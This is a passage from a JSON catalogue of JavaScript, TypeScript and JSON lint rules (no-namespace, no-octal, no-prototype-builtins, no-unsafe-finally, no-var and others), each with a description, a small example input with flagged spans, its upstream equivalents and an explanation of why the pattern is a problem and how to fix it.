      "why": "An interface cannot be constructed, so `new (): I` inside `interface I` describes a constructor that does not exist, and an interface member `constructor()` is only a method with that name, not a constructor. The code reads as a constructor but is not one.\n\nTo fix, declare the constructor in the class (`constructor()`), or put the `new` signature on a separate interface that types the constructor."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `namespace N {}` or `module N {}` declaration, also a dotted `namespace A.B {}`. `declare module \"x\"`, `declare global`, and any namespace in a `.d.ts` file are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "namespace N.M {}\ndeclare module \"x\" {}\ndeclare global {}\ndeclare namespace Q {}\nconst a = require(\"a\"), b = a.require(\"b\");\nimport c = require(\"c\");\nfunction local(require: (id: string) => void) { require(\"d\"); }\nconst self = this, { x } = this;\ny = this;\nclass K { new(): K; new(): number; new() {} }\ninterface I { new (): I; new (): number; constructor(): void }\nfunction f(): void;\nfunction g(): void {}\nfunction f(x: number): void;\nfunction f(x?: number) {}\nclass O { m(): void; n(): void; m(x: number): void; static m(): void; static m(x: number): void; }\ninterface P { (): void; a(): void; (x: number): void }\n",
        "language": "js",
        "other_lines": [
          5,
          6,
          8,
          9,
          10,
          11,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 1,
            "length": 16,
            "line": 1
          },
          {
            "column": 1,
            "length": 22,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-namespace",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-namespace",
          "note": "the option `allowDeclarations` keeps its default",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-namespace"
        }
      ],
      "why": "A TypeScript namespace is an older way to group code that does not exist in JavaScript: it compiles to an object built by a function, cannot be tree-shaken well and is not understood by tools that only strip types. ES modules do the same grouping and are the standard.\n\nTo fix, move the members to a module file and `export` them."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a non-null assertion on the end of an optional chain: `a?.b!` and `(a?.b)!`. `a?.b!.c` is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function f<T extends unknown>(x: T) {}\nfunction g<T extends string>(x: T) {}\nlet a = b?.c!;\nlet d = (b?.c)!;\nlet e = b!.c;\nb?.c()!;\nb?.c!.d;\n",
        "language": "js",
        "other_lines": [
          1
        ],
        "spans": [
          {
            "column": 9,
            "length": 5,
            "line": 3
          },
          {
            "column": 9,
            "length": 7,
            "line": 4
          },
          {
            "column": 1,
            "length": 7,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-non-null-asserted-optional-chain",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-non-null-asserted-optional-chain",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-non-null-asserted-optional-chain"
        }
      ],
      "why": "An optional chain returns `undefined` when `a` is missing, so asserting its result is not `undefined` contradicts the chain, and the program will fail at run time when the assumption is wrong.\n\nTo fix, handle the missing value, or drop `?.` if `a` cannot be null."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a non-null assertion (`a!`, `a!.b`) in a TypeScript file.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a!.b;\na!!;\na!?.b;\na!?.();\na?.b!.c;\na![0];\n`${a!.b}x`;\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 2,
            "line": 1
          },
          {
            "column": 1,
            "length": 2,
            "line": 2
          },
          {
            "column": 1,
            "length": 3,
            "line": 2
          },
          {
            "column": 1,
            "length": 2,
            "line": 3
          },
          {
            "column": 1,
            "length": 2,
            "line": 4
          },
          {
            "column": 1,
            "length": 5,
            "line": 5
          },
          {
            "column": 1,
            "length": 2,
            "line": 6
          },
          {
            "column": 4,
            "length": 2,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-non-null-assertion",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-non-null-assertion",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-non-null-assertion"
        }
      ],
      "why": "`a!` tells the compiler the value is not `null` or `undefined` without checking it. When the assumption is wrong the program fails at run time with a `TypeError`, in the place the type system was meant to protect.\n\nTo fix, check the value (`if (a)`) or use optional chaining (`a?.b`) and handle the missing case."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a number literal that starts with `0` followed by another digit, such as `017` or `08`. `0`, `0.5` and the modern forms `0o17`, `0x1F` and `0b11` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var a = /a  b/, b = /a {2}b/, c = /[  ]/, d = /a  +/, e = /a   +/, f = new RegExp(\"a  b\"), g = RegExp(\"a b\"), h = /a\\  b/;\nvar i = 017, j = 08, k = 0, l = 0.5, m = 0o17;\nvar p = 9007199254740993, q = 0.1, r = 5123000000000000000000000000001, s = 0x20000000000001, t = 0x1fffffffffffff;\nvar u = 12345678901234567890, v = 0.30000000000000004, w = 1_000, x = 0.1000000000000000055511151231257827, y = 1e3;\n",
        "language": "js",
        "other_lines": [
          1,
          3,
          4
        ],
        "spans": [
          {
            "column": 9,
            "length": 3,
            "line": 2
          },
          {
            "column": 18,
            "length": 2,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-octal",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-octal",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-octal"
        }
      ],
      "why": "A leading zero makes a legacy octal literal: `017` is 15, not 17. A literal such as `08` or `09` has a digit that is not octal, so it is read as the decimal 8 or 9, which hides the mistake. Both forms are syntax errors in strict mode and in modules.\n\nTo fix, drop the leading zero for a decimal number or write `0o17` for an octal one."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a call of `hasOwnProperty`, `isPrototypeOf` or `propertyIsEnumerable` made on an object itself: `obj.hasOwnProperty(k)`, `obj?.hasOwnProperty(k)` and `obj['hasOwnProperty'](k)`. Reading the property without a call, and `Object.prototype.hasOwnProperty.call(obj, k)`, are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "debugger;\nwith (a) { b; }\nvar x; delete x; delete x.y; delete (x);\nswitch (a) { case 1: let b = 1; const c = 2; function d() {} class E {} var f = 1; break; default: { let g; } }\nnew Promise(async (resolve) => resolve()); new Promise(async function () {}); new Promise((resolve) => resolve()); new Promise();\na.hasOwnProperty(\"b\"); a?.isPrototypeOf(b); a[\"propertyIsEnumerable\"](\"c\"); Object.prototype.hasOwnProperty.call(a, \"b\"); a.hasOwnProperty;\nvar NaN, undefined, eval; function arguments() {} try {} catch (Infinity) {}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          7
        ],
        "spans": [
          {
            "column": 3,
            "length": 14,
            "line": 6
          },
          {
            "column": 27,
            "length": 13,
            "line": 6
          },
          {
            "column": 47,
            "length": 22,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-prototype-builtins",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-prototype-builtins",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-prototype-builtins"
        }
      ],
      "why": "The method comes from the prototype chain, and the object may not have it. `Object.create(null)` objects have no `hasOwnProperty`, so the call throws, and data from outside (a parsed JSON with a key `\"hasOwnProperty\"`) can replace the method with its own value.\n\nTo fix, call it from the prototype: `Object.prototype.hasOwnProperty.call(obj, k)`, or use `Object.hasOwn(obj, k)` where the target supports it."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a call of the global `require(...)` and an `import x = require(...)`. A `require` that the file declares itself (a parameter, for example) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "namespace N.M {}\ndeclare module \"x\" {}\ndeclare global {}\ndeclare namespace Q {}\nconst a = require(\"a\"), b = a.require(\"b\");\nimport c = require(\"c\");\nfunction local(require: (id: string) => void) { require(\"d\"); }\nconst self = this, { x } = this;\ny = this;\nclass K { new(): K; new(): number; new() {} }\ninterface I { new (): I; new (): number; constructor(): void }\nfunction f(): void;\nfunction g(): void {}\nfunction f(x: number): void;\nfunction f(x?: number) {}\nclass O { m(): void; n(): void; m(x: number): void; static m(): void; static m(x: number): void; }\ninterface P { (): void; a(): void; (x: number): void }\n",
        "language": "js",
        "other_lines": [
          1,
          4,
          8,
          9,
          10,
          11,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 11,
            "length": 12,
            "line": 5
          },
          {
            "column": 12,
            "length": 12,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-require-imports",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-require-imports",
          "note": "the options (`allow`, `allowAsImport`) keep their defaults; a `require` the file declares itself is not reported",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-require-imports"
        }
      ],
      "why": "`require` is the CommonJS loader and is not typed like an import: the result is `any` unless a type is added, and bundlers and the compiler cannot always follow it. An `import` is checked by the type system and understood by tools.\n\nTo fix, use `import`."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a variable, function, class, parameter or function-expression name that is `NaN`, `Infinity`, `eval`, `arguments` or `undefined`. `var undefined;` without a value is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "debugger;\nwith (a) { b; }\nvar x; delete x; delete x.y; delete (x);\nswitch (a) { case 1: let b = 1; const c = 2; function d() {} class E {} var f = 1; break; default: { let g; } }\nnew Promise(async (resolve) => resolve()); new Promise(async function () {}); new Promise((resolve) => resolve()); new Promise();\na.hasOwnProperty(\"b\"); a?.isPrototypeOf(b); a[\"propertyIsEnumerable\"](\"c\"); Object.prototype.hasOwnProperty.call(a, \"b\"); a.hasOwnProperty;\nvar NaN, undefined, eval; function arguments() {} try {} catch (Infinity) {}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          4,
          5,
          6
        ],
        "spans": [
          {
            "column": 5,
            "length": 3,
            "line": 7
          },
          {
            "column": 21,
            "length": 4,
            "line": 7
          },
          {
            "column": 36,
            "length": 9,
            "line": 7
          },
          {
            "column": 65,
            "length": 8,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "no-shadow-restricted-names",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-shadow-restricted-names",
          "note": "without scope analysis `var undefined;` is accepted whatever is assigned to it later",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-shadow-restricted-names"
        }
      ],
      "why": "These names are read as the global values everywhere else in the program. A local called `undefined` or `NaN` changes what a test such as `x === undefined` means inside its scope, and a variable named `eval` or `arguments` is a syntax error in strict mode.\n\nTo fix, rename the variable."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a hole in an array literal, at the extra comma: `[1, , 2]` and `[, 1]`. A single trailing comma (`[1, ]`) is not a hole.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a) {} else { /* kept */ }\ntry { f(); } catch (e) {} finally {}\ntry { f(); } catch (e) { throw e; }\ntry { f(); } catch (e) { throw e; } finally { g(); }\ntry { f(); } catch (e) { throw g; }\nswitch (a) {}\nfunction f() {}\nvar g = () => {};\nfor (;;) {}\nclass K { static {} }\nvar {} = o, [] = p, [,] = q, { a: {} } = r;\n({} = o);\nvar x = [1, , 2, ,], y = [[], [,]];\nvar r = /a[]/, s = /[]]/, t = /[^]/, u = /\\[]/, v = /[\\]]/, w = new RegExp(\"[]\");\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          4,
          9,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 13,
            "length": 1,
            "line": 13
          },
          {
            "column": 18,
            "length": 1,
            "line": 13
          },
          {
            "column": 32,
            "length": 1,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "no-sparse-arrays",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-sparse-arrays",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-sparse-arrays"
        }
      ],
      "why": "A hole is an index with no element. `[1, , 2]` has the length 3, and methods such as `forEach` and `map` skip the hole while `for` loops and spread read it as `undefined`, so the same array behaves differently depending on how it is read. It is nearly always a typo for a single comma.\n\nTo fix, remove the extra comma, or write `undefined` (or `null`) where a value is meant."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `const self = this`, `let self = this` and `self = this`: a variable that holds `this`. Destructuring `this` (`const { x } = this`) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "namespace N.M {}\ndeclare module \"x\" {}\ndeclare global {}\ndeclare namespace Q {}\nconst a = require(\"a\"), b = a.require(\"b\");\nimport c = require(\"c\");\nfunction local(require: (id: string) => void) { require(\"d\"); }\nconst self = this, { x } = this;\ny = this;\nclass K { new(): K; new(): number; new() {} }\ninterface I { new (): I; new (): number; constructor(): void }\nfunction f(): void;\nfunction g(): void {}\nfunction f(x: number): void;\nfunction f(x?: number) {}\nclass O { m(): void; n(): void; m(x: number): void; static m(): void; static m(x: number): void; }\ninterface P { (): void; a(): void; (x: number): void }\n",
        "language": "js",
        "other_lines": [
          1,
          4,
          5,
          6,
          10,
          11,
          14,
          16,
          17
        ],
        "spans": [
          {
            "column": 7,
            "length": 4,
            "line": 8
          },
          {
            "column": 1,
            "length": 1,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "no-this-alias",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-this-alias",
          "note": "the options (`allowDestructuring`, `allowedNames`) keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-this-alias"
        }
      ],
      "why": "The alias is a leftover of code that needed `this` inside a function that has its own `this`. An arrow function takes the `this` of the surrounding code without it, and the alias lets a reader take `self` for something other than `this`.\n\nTo fix, use an arrow function, or `bind`."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a line that begins with `(`, `[` or a template literal right after a line that ends an expression, where the two lines are one expression: `var d = a` followed by `(b);` calls `a(b)`. A line that begins with `/`, `+` or another operator is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "const a = b\n  (c || d).e();\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 1,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-unexpected-multiline",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-unexpected-multiline",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-unexpected-multiline"
        }
      ],
      "why": "Automatic semicolon insertion does not insert a semicolon before `(`, `[` or a template, so the new line continues the expression above: `a` followed by `(b)` is a call and followed by `[b]` is a property access, and the program runs with a different meaning than the layout shows.\n\nTo fix, end the statement with a semicolon, or join the lines on purpose."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a type parameter constrained to `any` or `unknown` (`<T extends unknown>`, also with a default).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function f<T extends unknown>(x: T) {}\nfunction g<T extends string>(x: T) {}\nlet a = b?.c!;\nlet d = (b?.c)!;\nlet e = b!.c;\nb?.c()!;\nb?.c!.d;\n",
        "language": "js",
        "other_lines": [
          3,
          4,
          6
        ],
        "spans": [
          {
            "column": 12,
            "length": 17,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-unnecessary-type-constraint",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-unnecessary-type-constraint",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-unnecessary-type-constraint"
        }
      ],
      "why": "Every type parameter already accepts any type, so `extends unknown` and `extends any` restrict nothing and add noise (`extends any` also lets a reader think the check is turned off by choice).\n\nTo fix, remove the constraint."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a conditional expression whose two arms are both boolean literals: `a ? true : false` (the same as `!!a`), `a ? false : true` (`!a`), and `a ? true : true`. A conditional with one non-boolean arm is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a) { b(); } else { if (c) { d(); } }\nif (a) { b(); } else { if (c) { d(); } e(); }\nif (a) { b(); } else if (c) { d(); }\nfunction f(a) { if (a) { return 1; } else { return 2; } }\nfunction g(a) { if (a) { return 1; } else if (b) { return 2; } }\nfunction h(a) { if (a) { return 1; } else if (b) { return 2; } else { return 3; } }\nfunction i(a) { if (a) { x(); } else { return 2; } }\nvar x = a ? true : false;\nvar y = a ? false : true;\nvar z = a ? b : false;\nfunction j(a) { if (a) { if (b) { return 1; } else { return 2; } } else { return 3; } }\n",
        "language": "js",
        "other_lines": [
          1,
          4,
          6,
          11
        ],
        "spans": [
          {
            "column": 9,
            "length": 16,
            "line": 8
          },
          {
            "column": 9,
            "length": 16,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "no-unneeded-ternary",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-unneeded-ternary",
          "note": "the `defaultAssignment` option is not supported",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-unneeded-ternary"
        }
      ],
      "why": "The condition is already the boolean value, or its negation, so the conditional only restates it in a longer form.\n\nTo fix, write the condition (or `!` of it); use `Boolean(a)` where a real boolean is needed from a value that is not one."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports `return`, `throw`, and a `break` or `continue` that leaves the `finally` block, written in a `finally`. A `break` or `continue` of a loop inside the block, and a `return` in a function declared in the block, are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "function f() { try { a(); } finally { return 1; } }\nfunction g() { try { a(); } finally { throw e; } }\nfunction h() { for (;;) { try { a(); } finally { break; } } }\nfunction i() { try { a(); } finally { for (;;) { break; } } }\nfunction j() { try { a(); } finally { function k() { return 1; } } }\nfunction l() { l: try { a(); } finally { break l; } }\nfunction m() { try { a(); } finally { m: { break m; } } }\nvar o = { get a() {}, get b() { return; }, get c() { return 1; }, get d() { if (x) return 1; }, get e() { throw 1; } };\nclass K { get a() {} static get b() { return 1 } get c() { while (true) {} } }\nfunction* p() {}\nfunction* q() { r(); }\nfunction* s() { yield 1; }\nvar t = { *u() { v(); } };\nclass L { *w() { x(); } async *y() { z(); } }\n",
        "language": "js",
        "other_lines": [
          8,
          9,
          11,
          13,
          14
        ],
        "spans": [
          {
            "column": 39,
            "length": 9,
            "line": 1
          },
          {
            "column": 39,
            "length": 8,
            "line": 2
          },
          {
            "column": 50,
            "length": 6,
            "line": 3
          },
          {
            "column": 42,
            "length": 8,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-unsafe-finally",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-unsafe-finally",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-unsafe-finally"
        }
      ],
      "why": "A jump out of `finally` replaces how the `try` ended: a `return` there discards the value returned by the `try` and swallows an exception that was being thrown, so errors disappear without a trace.\n\nTo fix, move the jump out of `finally` (after the `try` statement), or handle the error in a `catch`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports the global type `Function` used as a type, as an `interface ... extends` target and as an `implements` target. A class that `extends Function` (a value) is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "let f: Function;\nlet s: String;\nlet t: string;\n",
        "language": "js",
        "other_lines": [
          2
        ],
        "spans": [
          {
            "column": 8,
            "length": 8,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-unsafe-function-type",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended",
        "js/biome-recommended"
      ],
      "upstream": [
        {
          "id": "no-unsafe-function-type",
          "partial": false,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-unsafe-function-type"
        }
      ],
      "why": "`Function` accepts any callable value, and calling one takes any arguments and returns `any`, so the compiler no longer checks the call.\n\nTo fix, write the signature (`(x: number) => string`), or `(...args: never[]) => unknown` for any function without losing the check."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports `!a in b` and `!a instanceof B`, where the `!` is written without parentheses on the left operand. `!(a in b)` and `(!a) in b` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a === NaN || NaN != a || a < Number.NaN || a === NaN2) {}\nswitch (NaN) { case NaN: break; case 1: }\ntypeof a === \"strnig\"; typeof a == \"object\"; \"number\" !== typeof a; typeof a === undefined; typeof a === typeof b;\nif (!a in b) {} if (!a instanceof B) {} if ((!a) in b) {} if (!(a in b)) {}\nif (x === -0) {} if (-0 < x) {} if (x === +0) {} if (x + -0 === y) {}\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          3,
          5
        ],
        "spans": [
          {
            "column": 5,
            "length": 7,
            "line": 4
          },
          {
            "column": 21,
            "length": 15,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-unsafe-negation",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-unsafe-negation",
          "note": "the `enforceForOrderingRelations` option is not supported",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-unsafe-negation"
        }
      ],
      "why": "The `!` binds tighter than `in` and `instanceof`, so `!a in b` tests whether the key `false` (the negation of `a`) is in `b`, and `!a instanceof B` is always `false` for a boolean. The test the author meant, the negation of the whole expression, is never made.\n\nTo fix, write `!(a in b)` or `!(a instanceof B)`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `catch` clause whose only statement is `throw` of the caught error, as in `catch (e) { throw e; }`. It is also reported when the `try` has a `finally`. A `catch` that does more, or that throws something else, is not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "if (a) {} else { /* kept */ }\ntry { f(); } catch (e) {} finally {}\ntry { f(); } catch (e) { throw e; }\ntry { f(); } catch (e) { throw e; } finally { g(); }\ntry { f(); } catch (e) { throw g; }\nswitch (a) {}\nfunction f() {}\nvar g = () => {};\nfor (;;) {}\nclass K { static {} }\nvar {} = o, [] = p, [,] = q, { a: {} } = r;\n({} = o);\nvar x = [1, , 2, ,], y = [[], [,]];\nvar r = /a[]/, s = /[]]/, t = /[^]/, u = /\\[]/, v = /[\\]]/, w = new RegExp(\"[]\");\n",
        "language": "js",
        "other_lines": [
          1,
          2,
          9,
          11,
          12,
          13,
          14
        ],
        "spans": [
          {
            "column": 1,
            "length": 35,
            "line": 3
          },
          {
            "column": 14,
            "length": 22,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-useless-catch",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-useless-catch",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-useless-catch"
        }
      ],
      "why": "A catch that only rethrows has the same effect as no catch: the error goes on up with its stack, so the clause is noise that makes a reader look for handling that is not there.\n\nTo fix, delete the `catch` (keep the `finally`, if there is one) or handle the error there."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a backslash before a character that needs no escape, in a string (`'\\d'`), a template literal or a regex literal (`/\\-/`, `/\\_/`). Valid escapes (`\\n`, `\\t`, `\\\\`, `\\'`, `\\\"`, `\\x41`, `\\u0041`, `\\0`, a line continuation) are not reported, and neither are a `\\-` in the middle of a character class (`/[a\\-z]/`), `\\^` at the start of one and `\\/` in a regex literal.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "{\n  \"a\": \"x\\ny\\\"z\\\\wA\",\n  \"b\": \"p\\/q\",\n  \"c\\/d\": [\"\\/\"]\n}\n",
        "language": "json",
        "other_lines": [],
        "spans": [
          {
            "column": 10,
            "length": 2,
            "line": 3
          },
          {
            "column": 5,
            "length": 2,
            "line": 4
          },
          {
            "column": 13,
            "length": 2,
            "line": 4
          }
        ]
      },
      "fix": null,
      "id": "no-useless-escape",
      "languages": [
        "js",
        "json"
      ],
      "options": [],
      "presets": [
        "json/eslint-plugin-jsonc-recommended",
        "js/eslint-recommended",
        "js/biome-recommended",
        "js/oxlint"
      ],
      "upstream": [
        {
          "id": "no-useless-escape",
          "note": "regex `v` flag classes are read like `u` classes",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-useless-escape"
        },
        {
          "id": "jsonc/no-useless-escape",
          "note": "`\\/` counts as useless, as the plugin reports it",
          "partial": true,
          "tool": "eslint-plugin-jsonc",
          "url": "https://ota-meshi.github.io/eslint-plugin-jsonc/rules/no-useless-escape.html"
        }
      ],
      "why": "In a string the useless backslash is dropped, so `'\\d'` is the letter `d`, which is not what a reader who knows regex expects. In a regex it hides the characters that matter.\n\nTo fix, remove the backslash, or write the escape that is meant (`\\\\d`)."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an expression statement whose value is thrown away and that has no effect of its own: a name, a literal, a member access or an operator expression (`x + y;`, `x.y;`, `-x;`, `x ? y : z;`). Calls, assignments, `delete` and `void` are not reported; a directive such as `\"use strict\"` is, as it is a string. What counts as pure is the `#pure` tag of the language's grammar: Python's table has names, literals, member accesses and list, set and dict displays, so `x + 1`, `x == 2` and `-x` are not reported there. Off by default.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "a + b;\nf();\na && f();\nx = 1;\n",
        "language": "js",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 6,
            "line": 1
          },
          {
            "column": 1,
            "length": 9,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-useless-expression",
      "languages": [
        "js",
        "python"
      ],
      "options": [],
      "presets": [
        "js/eslint-recommended",
        "js/typescript-eslint-recommended",
        "js/oxlint",
        "python/ruff"
      ],
      "upstream": [
        {
          "id": "no-unused-expressions",
          "note": "the options keep their defaults",
          "partial": true,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-unused-expressions"
        },
        {
          "id": "B018",
          "partial": false,
          "tool": "ruff",
          "url": "https://docs.astral.sh/ruff/rules/B018/"
        },
        {
          "id": "no-unused-expressions",
          "note": "the options keep their defaults",
          "partial": true,
          "tool": "typescript-eslint",
          "url": "https://typescript-eslint.io/rules/no-unused-expressions"
        }
      ],
      "why": "The statement is evaluated and dropped, so it does nothing. It is typically a line that was meant to be a call (a missing `()`), a comparison written where an assignment was meant, or what is left of a deleted line.\n\nTo fix, delete it, or write the call or the assignment it was meant to be."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `var` declaration (also `declare var` in TypeScript). `let` and `const` are not reported.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "var a = 1;\nlet b = 2;\nlet c = 3;\nc = 4;\nfunction f() {\n  return arguments;\n}\nf.apply(undefined, b);\nf.apply(null, [1]);\no[m].apply(o, b);\nfunction g() {\n  let d;\n  d = 1;\n  return d;\n}\n",
        "language": "js",
        "other_lines": [
          2,
          6,
          8,
          10,
          13
        ],
        "spans": [
          {
            "column": 1,
            "length": 10,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "no-var",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
        "js/typescript-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "no-var",
          "partial": false,
          "tool": "eslint",
          "url": "https://eslint.org/docs/latest/rules/no-var"
        }
      ],
      "why": "A `var` belongs to the whole function, not to the block, and is hoisted: it can be read before its line (as `undefined`) and declared twice in one scope without an error. `let` and `const` are limited to their block, a second declaration is an error, and `const` states that the binding does not change.\n\nTo fix, use `const` where the variable is not assigned again, otherwise `let`."
    },
    {
      "category": "suspicious",
      "default_level": "error",
      "description": "Reports a `with` statement.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "debugger;\nwith (a) { b; }\nvar x; delete x; delete x.y; delete (x);\nswitch (a) { case 1: let b = 1; const c = 2; function d() {} class E {} var f = 1; break; default: { let g; } }\nnew Promise(async (resolve) => resolve()); new Promise(async function () {}); new Promise((resolve) => resolve()); new Promise();\na.hasOwnProperty(\"b\"); a?.isPrototypeOf(b); a[\"propertyIsEnumerable\"](\"c\"); Object.prototype.hasOwnProperty.call(a, \"b\"); a.hasOwnProperty;\nvar NaN, undefined, eval; function arguments() {} try {} catch (Infinity) {}\n",
        "language": "js",
        "other_lines": [
          1,
          3,
          4,
          5,
          6,
          7
        ],
        "spans": [
          {
            "column": 1,
            "length": 15,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-with",
      "languages": [
        "js"
      ],
      "options": [],
      "presets": [
